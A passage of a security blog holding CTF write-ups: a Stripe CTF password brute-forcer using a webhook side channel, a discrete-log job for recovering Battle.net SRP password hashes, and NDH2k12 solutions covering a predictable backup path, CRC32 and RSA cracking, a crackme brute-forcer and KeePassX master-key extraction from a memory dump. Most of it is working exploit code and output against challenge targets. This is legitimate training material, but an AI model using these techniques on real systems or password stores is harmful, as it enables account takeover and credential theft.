  server_thread.start()
  print "Server loop running in thread:", server_thread.name

  endpoint = "https://level08-3.stripe-ctf.com/user-oxtxhpbwuz/"

  numbers = range(0,1000)
  random.shuffle(numbers)

  #numbers = ['641', '243', '093', '589', '728']

  candidate = []

  chunk = 1 # increment after each found chunk
  found = "" # add found chunk here
  level2_ip = "10.0.2.134"

  while len(numbers):
    i = int(numbers.pop())
    print "Moving to " + str(i)
    guess = str(i).zfill(3)
    body = '{"password": "' + found + str(guess) + 'A'*((4-chunk)*3) + '", "webhooks": ["' + level2_ip + ':'+str(port)+'"]}'

    delta = 0
    while delta>(chunk+2) or delta<1:
    resp = requests.post(endpoint, data=body)
    delta = q.get()
    result = json.loads(resp.text)
    print resp.text, result
    if result['success'] == True: # true for last chunk only
      print "WIIIIIIIIN"
      sys.exit()

    if delta == (chunk+2):
    print "CANDIDATE=", guess, resp.text
    candidate.append(guess)

    print guess + "|" + str(delta)

  print repr(candidate)

  server.shutdown()
Share
Tagged as: Comments Off
12Aug/12Off

Sample gdlog job file for Battle.net SRP

Posted by aXs

[Update 12Aug: I tuned the spStep parameters to generate more relations. Otherwise solving may fail for some target]

See RFC 2945 for details on SRP and this reference for Blizzard's specific implementation.

g is well-know 47

p is well-know N 112624315653284427036559548610503669920632123929604336254260115573677366691719

q = (p-1)/2

t (target) is your verifier such v = g^x % N

gdlog will give you back a 160bit x, salted SHA1 of username and password such as x = SHA1(s, SHA1(C, ":", P))

Our gdlog job file is like this:

p: 112624315653284427036559548610503669920632123929604336254260115573677366691719
q: 56312157826642213518279774305251834960316061964802168127130057786838683345859
job:srp
sieveType:page

f0:[ -23817613149476351568408250 7348740330559081441686124 5493570054426813646951125 ]
f1:[ 98 -9 -98 1 ]
m: 3430716947829154018307671961632018816844127594664356203325504368794740097415
skew: 1
# Alpha(f0)=-1.13722 Alpha(f1)=-0.0396682
# E(f0)=0.00028881 E(f1)=1000
# I(f0, S)=58.2395 I(f1, S)=3.99381
# Pair rating =0.00028881
b0:135090
b1:270181
lpb0:337725
lpb1:675452
lpf2exp0: 37
lpf2exp1:39
err_log0:36
err_log1:38
sp0:135090
sp1:202635
spi:0
spStep:100000
lc0Fact:[3 5 5 5 7 11 190253508378417788639]
p1Fact:[2 56312157826642213518279774305251834960316061964802168127130057786838683345859]
t:35873932978976964289906001423519899977549558494468550338642058985871400867383
g:47

Example:

Generate SRP handshake:

g= 47
N= 112624315653284427036559548610503669920632123929604336254260115573677366691719
x= 1424247726466781758056184792317997759091651621231
username:breith
password: ouille
salt: 0x101010101010101010101010101010101010101010101010101010101010101L
v: 0x2847f9a6e5ece61e8c97edd6e0e8d527d0c59991c4f69dcae63aae948b629cd1L

gdlog gives back, after 2 hours on a quad-core i5, for this v:

Logarithm of the 18219683119335387768214778163247823001174424798682531185510722886446717508817 to the 47 is 1424247726466781758056184792317997759091651621231

1424247726466781758056184792317997759091651621231 is indeed our x

Share
Tagged as: No Comments
2Jul/12Off

NDH2k12 Public Wargame – Personal Blog

Posted by aXs

This is a SPIP site. This version of SPIP stores database dump in /tmp/dump/[site name]_[date].xml

Article 1 gives a huge hint about the correct date: http://54.247.160.116:8003/spip.php?article1

27 February 10:57, by Friendly-Boy - "Hii dude, did u remember to made a backup of ur site for the migration ?"
27 February 10:59, by Admin - "fine, fine and u ? yes ive made the backup yesterday."

http://54.247.160.116:8003/tmp/dump/My_Blog_20120226.xml

 

<spip_articles>
<id_article>2</id_article>
<surtitre></surtitre>
<titre>Secret</titre>
<soustitre></soustitre>
<id_rubrique>1</id_rubrique>
<descriptif></descriptif>
<chapo></chapo>
<texte>4cb7828311a658b2a5c6e11fa4f504d3</texte>

 

The flag is: 2Secret14cb7828311a658b2a5c6e11fa4f504d3

Share
Filed under: CTF Comments Off
2Jul/12Off

NDH2k12 Public Wargame – Break Me Like Your Sister – zomb_crypt

Posted by aXs

$ ls -la
total 64
-rw-r--r-- 1 francois francois 38120 Jun 30 01:29 crypto-1.jpg
-rw-r--r-- 1 francois francois 3226 Jun 13 20:50 zomb_crypt.pyc

$ file *
crypto-1.jpg: JPEG image data, JFIF standard 1.01
zomb_crypt.pyc: python 2.6 byte-compiled

$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import zomb_crypt
>>> import dis
>>> dir(zomb_crypt)
['Blowfish', 'PasswordError', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'decode', 'decrypt', 'encrypt', 'getbf', 'hash', 'sys']
>>> dis.dis(zomb_crypt.decrypt)
52 0 SETUP_EXCEPT 190 (to 193)

53 3 LOAD_GLOBAL 0 (open)
6 LOAD_FAST 0 (filename_in)
9 LOAD_CONST 1 ('rb')
12 CALL_FUNCTION 2
15 LOAD_ATTR 1 (read)
18 CALL_FUNCTION 0
21 STORE_FAST 3 (content)

read file content to content variable

54 24 LOAD_GLOBAL 2 (len)
27 LOAD_FAST 3 (content)
30 CALL_FUNCTION 1
33 LOAD_CONST 2 (16)
36 COMPARE_OP 0 (<) 39 JUMP_IF_FALSE 5 (to 47) 42 POP_TOP goodbye if len(content) < 16 55 43 LOAD_GLOBAL 3 (False) 46 RETURN_VALUE >> 47 POP_TOP

56 48 LOAD_FAST 3 (content)
51 LOAD_CONST 2 (16)
54 SLICE+2
55 STORE_FAST 4 (_hash)

First 16 bytes of file is a hash, store it in _hash

57 58 LOAD_GLOBAL 4 (hash)
61 LOAD_FAST 2 (password)
64 CALL_FUNCTION 1

hash password entered by user on command-line

67 LOAD_FAST 4 (_hash)
70 COMPARE_OP 3 (!=)
73 JUMP_IF_FALSE 13 (to 89)

if hash(user password) != stored _hash, goodbye. And we don't care about the rest of the disassembly because we know we must have a password that match the file stored hash.

Which kind of hash ?

>>> dis.dis(zomb_crypt.hash)
26 0 LOAD_CONST 1 ('ahky')
3 STORE_FAST 1 (a)

27 6 LOAD_CONST 2 ('12bqb')
9 STORE_FAST 2 (b)

28 12 LOAD_GLOBAL 0 (__import__)
15 LOAD_GLOBAL 1 (decode)
18 LOAD_FAST 1 (a)
21 CALL_FUNCTION 1
24 CALL_FUNCTION 1
27 STORE_FAST 3 (x)

29 30 LOAD_GLOBAL 2 (getattr)
33 LOAD_FAST 3 (x)
36 LOAD_GLOBAL 1 (decode)
39 LOAD_FAST 2 (b)
42 CALL_FUNCTION 1
45 CALL_FUNCTION 2
48 STORE_FAST 4 (y)

Obfuscated import and method name. What does decode do ? We don't care.

>>> zomb_crypt.decode('ahky')
'zlib'
>>> zomb_crypt.decode('12bqb')
'crc32'

so x = zlib, y = crc32

Nice. CRC32 is easy to bruteforce.

32 >> 83 LOAD_FAST 0 (s)
86 LOAD_CONST 4 ('_')
89 LOAD_CONST 3 (8)
92 LOAD_GLOBAL 3 (len)
95 LOAD_FAST 0 (s)
98 CALL_FUNCTION 1
101 BINARY_SUBTRACT
102 BINARY_MULTIPLY
103 BINARY_ADD
104 STORE_FAST 0 (s)

Pad password to length of 8 with '_' (toto -> toto____)

33 107 LOAD_FAST 0 (s)
110 LOAD_CONST 5 (0)
113 LOAD_CONST 6 (4)
116 SLICE+3
117 LOAD_FAST 0 (s)
120 LOAD_CONST 6 (4)
123 LOAD_CONST 3 (8)
126 SLICE+3
127 ROT_TWO
128 STORE_FAST 1 (a)
131 STORE_FAST 2 (b)

a = password[0:4]
b = password[4:8]

34 134 LOAD_CONST 7 ('%08X%08X')
137 LOAD_FAST 4 (y)
140 LOAD_FAST 1 (a)
143 CALL_FUNCTION 1
146 LOAD_CONST 8 (4294967295L)
149 BINARY_AND
150 LOAD_FAST 4 (y)
153 LOAD_FAST 2 (b)
156 CALL_FUNCTION 1
159 LOAD_CONST 8 (4294967295L)
162 BINARY_AND

Convert to a and b to CRC32

>>> import zlib
>>> zlib.crc32("toto")
281847025

$ hexdump -C crypto-1.jpg | head -1
00000000 31 44 34 34 38 31 45 31 41 32 32 43 38 43 33 42 |1D4481E1A22C8C3B|

a = 1D4481E1
b = A22C8C3B

We need to find a CRC32 value that match a and b. Using the best hash cracker: Google

http://rulus.com/tool/hash/His4
http://rulus.com/tool/hash/n00b

password is His4n00b

$ python zomb_crypt.pyc d crypto-1.jpg His4n00b
[i] Decrypting crypto-1.jpg ...
[i] OK

Share
Tagged as: , Comments Off
2Jul/12Off

NDH2k12 Public Wargame – RSA Writeup

Posted by aXs

Simple RSA:

$ cat john.pub
----- BEGIN PUBLIC KEY -----
KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBlID0gMTAxKQ==
-----  END PUBLIC KEY  -----
francois@squeeze:~/ndh2012/public/rsa$ echo -n "KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBlID0gMTAxKQ==" | base64 -d
(n = 1549388302999519, e = 101)

e = 101
n = 1549388302999519

Factorize n -> n = p * q -> 1549388302999519 = 31834349 * 48670331

$ python
>>> import librsa
>>> e = 101
>>> p = 31834349
>>> q = 48670331
>>> d = librsa.genPrivKey(e, p, q)
+ + +
>>> d
1165876286233741L

$ cat john.key
----- BEGIN PRIVATE KEY -----
KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBkID0gMTE2NTg3NjI4NjIzMzc0MSkK
-----  END PRIVATE KEY  -----
$ echo -n "KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBkID0gMTE2NTg3NjI4NjIzMzc0MSkK" | base64 -d
(n = 1549388302999519, d = 1165876286233741)

$ python decrypt.py john.key flag.asc
francois@squeeze:~/ndh2012/public/rsa$ cat flag
   _________
 _|      ___|_
|  ___  |   | |   HZV
| |___| |___| |
|_           _|   challenge by benjamin
  |  _   _  |
  |_| |_| |_|     c9132f892055ea81fd91a9ed0e54a859
Share
Tagged as: Comments Off
1Jul/12Off

NDH2k12 Public Wargame – Crackme Bukkake Writeup

Posted by aXs

Simple crackme.

After a bit of reversing in IDA:

.text:08048F3C                 mov     eax, [ebp+password]
.text:08048F3F                 mov     [esp+4], eax
.text:08048F43                 lea     eax, [ebp+candidateHash]
.text:08048F46                 mov     [esp], eax
.text:08048F49                 call    WhatisIt
.text:08048F4E                 lea     eax, [ebp+validHash]
.text:08048F51                 mov     [esp+4], eax
.text:08048F55                 lea     eax, [ebp+candidateHash]
.text:08048F58                 mov     [esp], eax
.text:08048F5B                 call    ccc
.text:08048F60                 test    eax, eax
.text:08048F62                 jz      short loc_8048F7B
.text:08048F64                 mov     eax, [ebp+password]
.text:08048F67                 mov     [esp+4], eax
.text:08048F6B                 lea     eax, (aTheHashIsS - 80E605Ch)[ebx] ; "The hash is %s\n"
.text:08048F71                 mov     [esp], eax
.text:08048F74                 call    printf

ccc function is a simple memcmp. Function WhatisIt is the core of this crackme. It uses 2 tables to transform the password in a bytearray that is compared to a valid bytearray stored inside the binary.

Simple bruteforcer:

#!/usr/bin/env python

import string

valid = [ 3, 35, 31, 35, 5, 3, 8, 7, 31, 4, 5, 32, 33, 7, 31, 5, 33, 5, 4, 29, 34, 30, 31, 38, 37, 31, 30, 33, 36, 6, 36, 37 ]

print "len valid=", len(valid)

keyData1 = [ 10,  9,  1, 16, 19, 23, 13,  8,  7,  3, 14, 17, 22, 12,  6, 21, 25,  5, 20, 15, 18, 11, 24,  2,  4,  0, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36]
keyData2 = [ 90, 67, 88, 74, 89, 82, 79, 73, 72, 66, 65, 86, 78, 71, 75, 84, 68, 76, 85, 69, 83, 80, 77, 70, 87, 81, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57 ]

print "len keyData1=", len(keyData1)
print "len keyData2=", len(keyData2)

password = []

charset = string.ascii_lowercase + string.ascii_uppercase + string.digits

v = 0
while v < 32:
  for char in charset:
    t = ord(char)
    for i in range(32):
      for j in range(36):
        if (keyData2[j] == t):
          for k in range(36):
            b = keyData1[k]
            if (b == j):
              c = k + 3

              if valid[v] == c:
                print "v=", v, "t=", t, "VALID"
                password.append(t)
                print "".join(map(chr, password))
                v+=1
$ python bukkake.py
len valid= 32
len keyData1= 37
len keyData2= 36
v= 0 t= 65 VALID
A
v= 1 t= 54 VALID
A6
v= 2 t= 50 VALID
A62
v= 3 t= 54 VALID
A626
v= 4 t= 67 VALID
A626C
v= 5 t= 65 VALID
A626CA
v= 6 t= 70 VALID
A626CAF
v= 7 t= 69 VALID
A626CAFE
v= 8 t= 50 VALID
A626CAFE2
v= 9 t= 66 VALID
A626CAFE2B
v= 10 t= 67 VALID
A626CAFE2BC
v= 11 t= 51 VALID
A626CAFE2BC3
v= 12 t= 52 VALID
A626CAFE2BC34
v= 13 t= 69 VALID
A626CAFE2BC34E
v= 14 t= 50 VALID
A626CAFE2BC34E2
v= 15 t= 67 VALID
A626CAFE2BC34E2C
v= 16 t= 52 VALID
A626CAFE2BC34E2C4
v= 17 t= 67 VALID
A626CAFE2BC34E2C4C
v= 18 t= 66 VALID
A626CAFE2BC34E2C4CB
v= 19 t= 48 VALID
A626CAFE2BC34E2C4CB0
v= 20 t= 53 VALID
A626CAFE2BC34E2C4CB05
v= 21 t= 49 VALID
A626CAFE2BC34E2C4CB051
v= 22 t= 50 VALID
A626CAFE2BC34E2C4CB0512
v= 23 t= 57 VALID
A626CAFE2BC34E2C4CB05129
v= 24 t= 56 VALID
A626CAFE2BC34E2C4CB051298
v= 25 t= 50 VALID
A626CAFE2BC34E2C4CB0512982
v= 26 t= 49 VALID
A626CAFE2BC34E2C4CB05129821
v= 27 t= 52 VALID
A626CAFE2BC34E2C4CB051298214
v= 28 t= 55 VALID
A626CAFE2BC34E2C4CB0512982147
v= 29 t= 68 VALID
A626CAFE2BC34E2C4CB0512982147D
v= 30 t= 55 VALID
A626CAFE2BC34E2C4CB0512982147D7
v= 31 t= 56 VALID
A626CAFE2BC34E2C4CB0512982147D78

$ ./crackme A626CAFE2BC34E2C4CB0512982147D78
The hash is A626CAFE2BC34E2C4CB0512982147D78

Note: yes, the algorithm can be reversed and the solution is then a simple oneliner, I didn't catch that last night.

Share
Tagged as: Comments Off
1Jul/12Off

NDH2k12 Public Wargame – Password Manager #2 – KeePassX Writeup

Posted by aXs

In this challenge we get a Windows XP memory dump and we are told to get the password inside a KeePassX file.

KeePassX stores critical key encrypted in memory following a memory dump attack described here: http://systemoverlord.com/sites/default/files/projects/KeePassX.pdf

But it's still possible to dump keys with the current version. Please see Hugo Caron's draft paper at: http://haxogreen.lu/schedule/2012/attachments/3_CFP_MemoryAnalysis_PasswordManager_slides

(There is 2 small mistakes in this draft paper, follow this write-up and see if you can catch them)

We first dump the process memory and the adressable memory using Volatility:

$ vol.py -f memdump.raw --dump-dir=dump memdump -p 768

Volatile Systems Volatility Framework 1.4_rc1
************************************************************************
Writing KeePassX.exe [ 768] to 768.dmp

$ vol.py -f memdump.raw --dump-dir=dump procmemdump -p 768
Volatile Systems Volatility Framework 1.4_rc1
************************************************************************
Dumping KeePassX.exe, pid: 768 output: executable.768.exe

We can load the exe file in IDA.

Every critical keys is stored encrypted in a modified RC4 form when not being used. The key for all these containers is the same session key. And this session key is stored in a static variable in the bss so the offset will always be the same for a given exe file.

Here is the code that initialize this session key:

Lets check the memory with IDA (remember we created this exe from the memory dump so the BSS section is already filled)

A nice pointer. Now we use Volatility to dump the memory content at 0xc01b00:

>>> cc(pid=768)
Current context: process KeePassX.exe, pid=768, ppid=1584 DTB=0x2e00240
>>> db(0xc01b00, 32)
00c01b00 db a9 65 b9 73 a4 40 7a 8f 66 06 90 42 7c 29 92 ..e.s.@z.f..B|).
00c01b10 f7 c2 3c 57 7c 9c f1 fc 9d 5d e8 c5 66 7a 71 b3 ..<W|....]..fzq.

Wonderful, the session key is: dba965b973a4407a8f660690427c2992f7c23c577c9cf1fc9d5de8c5667a71b3

Now we need to find in the memory the MasterKey. The MasterKey is the SHA256 hashed password of the kdb file. From the MasterKey, the AES key is derived (SHA) for actual encryption of the kdb file.

Storage of protected strings is done using a structure called SecData:

class SecData{
(...)
private:
quint8* data;
int length;
bool locked;
};

In memory, every SecData object will be stored as:

[int pointer][int length][bool locked]

We are looking for the MasterKey which is 32 bytes long and we know the key is going to be locked. So we are looking for:

[pointer][20000000][01]

The following python script will use heuristic to find pointer candidates and then uses the stolen session key to decrypt it using KeePassX's modified RC4:

#!/usr/bin/env python

import struct
import binascii

# !!!!! THIS IS A MODIFIED RC4 IMPLEMENTATION TO MATCH KEEPASSX'S
# do the key schedule. return a byte array for the main algorithm
# k can be a list of numbers or a string
def rc4_init(k):
    k = binascii.unhexlify(k)

    # create and initialise S
    s = range(256)
    # process S using the key data
    j = 0
    kl = len(k)
    ka = 32 << 1
    i = 0
    while i < 256:
        j = (j + s[i] + ord(k[i % kl]) + 0x40) % 256
        s[0], s[j] = s[j], s[0]
        i = i + 1

    return s

# encrypt/decrypt a string using RC4
def rc4(s, val):
    l = len(val)
    buf = bytearray(l)
    i = 0
    j = 0
    idx = 0
    while idx < l:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) % 256]
        buf[idx] = (ord(val[idx])) ^ k
        idx = idx + 1
    return str(buf)

memory = open("768.dmp", "rb").read()

p = 0
size_byte = 1
size_int = 4

memory_offset = 10977280

search_length = struct.pack('<L', 32)
search_locked = struct.pack('B', 1)

session_key = "dba965b973a4407a8f660690427c2992f7c23c577c9cf1fc9d5de8c5667a71b3"

while p < len(memory):
  cell1 = memory[p:p+size_int]
  if cell1 == search_length:
    cell2 = memory[p+len(search_length):p+len(search_length)+size_byte]
    if cell2 == search_locked:
      cell3 = memory[p-size_int:p]
      search_data = struct.unpack('<L', cell3)[0]
      file_offset = search_data - memory_offset
      if (file_offset > 0 and file_offset < len(memory)):
        data = memory[file_offset:file_offset+32]
        clear = rc4(rc4_init(session_key), data)
        print "Found pointer at file offset=", \
          hex(p-size_int), "pointer=", \
          hex(search_data), \
          hex(struct.unpack('<L', cell1)[0]), \
          struct.unpack('B', cell2)[0], \
          "data offset=", hex(file_offset), "data=", binascii.hexlify(data), \
          "clear=", binascii.hexlify(clear)
       
  p += size_int

Lets run it:

$ python scan.py
Found pointer at file offset= 0x865f0 pointer= 0x1000004 0x20 1 data offset= 0x588004 data= 6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff clear= 684f9dbc6560b1c649d75f5943a253186dcf8f3c61513a62dd8957642d6c73c6
Found pointer at file offset= 0x90254 pointer= 0xcf4938 0x20 1 data offset= 0x27c938 data= 090006006f010801d883c9000120012000000000000000000000000001000000 clear= 0b6b91436045b338fb709ca628a658c707eb85c30b75309db7ad5d9b46487939
Found pointer at file offset= 0x1df4ec pointer= 0xc8a510 0x20 1 data offset= 0x212510 data= caa734c900fb9474b54ecd58d73a57c031885df771213b84aadc582e92740c24 clear= c8cca38a0fbf2f4d96bd98fefebc0e273663d8347a540b191d7105b5d53c751d
Found pointer at file offset= 0x1df4f8 pointer= 0xc64f08 0x20 1 data offset= 0x1ecf08 data= caa734c900fb9474b54ecd58d73a57c031885df771213b84aadc582e92740c24 clear= c8cca38a0fbf2f4d96bd98fefebc0e273663d8347a540b191d7105b5d53c751d
Found pointer at file offset= 0x1df504 pointer= 0xc82b90 0x20 1 data offset= 0x20ab90 data= 682bc8000100000001000000010000000000000000000000010000001f010000 clear= 6a405f430e44bb3922f355a6288659e707eb85c30b75309db6ad5d9b58497939
Found pointer at file offset= 0x1df510 pointer= 0xc82b68 0x20 1 data offset= 0x20ab68 data= 88afc80005000000050000007a2bc80000005100750069007400740000000000 clear= 8ac45f430a44bb3926f355a653ad91e707ebd4c37e75599dc3ad299b47487939
Found pointer at file offset= 0x1df51c pointer= 0xc8af88 0x20 1 data offset= 0x212f88 data= 8d20fd01ef3da59ba3f0be19d477647148b6e3fea87800130bb145d61aa6f06d clear= 8f4b6a42e0791ea28003ebbffdf13d964f5d663da30d308ebc1c184d5dee8954
Found pointer at file offset= 0x2709f4 pointer= 0xcf4938 0x20 1 data offset= 0x27c938 data= 090006006f010801d883c9000120012000000000000000000000000001000000 clear= 0b6b91436045b338fb709ca628a658c707eb85c30b75309db7ad5d9b46487939
Found pointer at file offset= 0x275094 pointer= 0xcf4938 0x20 1 data offset= 0x27c938 data= 090006006f010801d883c9000120012000000000000000000000000001000000 clear= 0b6b91436045b338fb709ca628a658c707eb85c30b75309db7ad5d9b46487939
Found pointer at file offset= 0x28cf5f4 pointer= 0x2eeb2f8 0x20 1 data offset= 0x24732f8 data= e8ffffff766b00004e00000010733f00010000000000b6bba8ffffff7b003300 clear= ea9468bc792fbb396df355a639f566e706eb85c30b7586261f52a2643c484a39
Found pointer at file offset= 0x28d0840 pointer= 0x2822ea3 0x20 1 data offset= 0x1daaea3 data= 0000000000000000000000000000000000000000000000000000000000000000 clear= 026b97430f44bb3923f355a6298659e707eb85c30b75309db7ad5d9b47487939
Found pointer at file offset= 0x28d5180 pointer= 0x4cc60b4 0x20 1 data offset= 0x424e0b4 data= 0000000000000000000000000000000000000000000000000000000000000000 clear= 026b97430f44bb3923f355a6298659e707eb85c30b75309db7ad5d9b47487939
Found pointer at file offset= 0x440ad54 pointer= 0x100020c 0x20 1 data offset= 0x58820c data= 6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff6a240aff clear= 684f9dbc6560b1c649d75f5943a253186dcf8f3c61513a62dd8957642d6c73c6

Obviously some of those are false positives. A good key has a good entropy so we can discard a few keys with many nulls or repeated strings, we are left with:

Found pointer at file offset= 0x1df4ec pointer= 0xc8a510 0x20 1 data offset= 0x212510 data= caa734c900fb9474b54ecd58d73a57c031885df771213b84aadc582e92740c24 clear= c8cca38a0fbf2f4d96bd98fefebc0e273663d8347a540b191d7105b5d53c751d
Found pointer at file offset= 0x1df4f8 pointer= 0xc64f08 0x20 1 data offset= 0x1ecf08 data= caa734c900fb9474b54ecd58d73a57c031885df771213b84aadc582e92740c24 clear= c8cca38a0fbf2f4d96bd98fefebc0e273663d8347a540b191d7105b5d53c751d
Found pointer at file offset= 0x1df51c pointer= 0xc8af88 0x20 1 data offset= 0x212f88 data= 8d20fd01ef3da59ba3f0be19d477647148b6e3fea87800130bb145d61aa6f06d clear= 8f4b6a42e0791ea28003ebbffdf13d964f5d663da30d308ebc1c184d5dee8954

And we have a dupe so we are left with 2 possibles decrypted MasterKey:

c8cca38a0fbf2f4d96bd98fefebc0e273663d8347a540b191d7105b5d53c751d

or

8f4b6a42e0791ea28003ebbffdf13d964f5d663da30d308ebc1c184d5dee8954

Trivial: locate the kdb in the memory dump and save it to a file. Kdb signature is "03d9a29a65fb4bb5".

Now we have 2 approaches: we can derive the AES key and do manual decryption of the kdb file or we can patch KeePassX to accept a MasterKey instead of a password.

I went with the patched KeePassX because it looked to be easier than do some manual AES processing. (I was wrong of course as it took me some long fiddling to get it working)

Here is patched KeePassX opening the kdb file after we try 2 candidates MasterKey

Important modifications were:

- Skip raw password transform, we will input a hex string in the password dialog, that hex string is the decrypted MasterKey

Replace
SHA256::hashBuffer(Password_CP1252.data(),*RawMasterKey_CP1252,Password_CP1252.size());
by
convHexToBinaryKey(Password_CP1252.data(),(char*)(*RawMasterKey_CP1252));

- Copy RawMasterKey to MasterKey (RawMasterKey is our decoded hex string)

memcpy(*MasterKey, *RawMasterKey, 32);

Dirty KeePassX patch here (CTF quality)

Share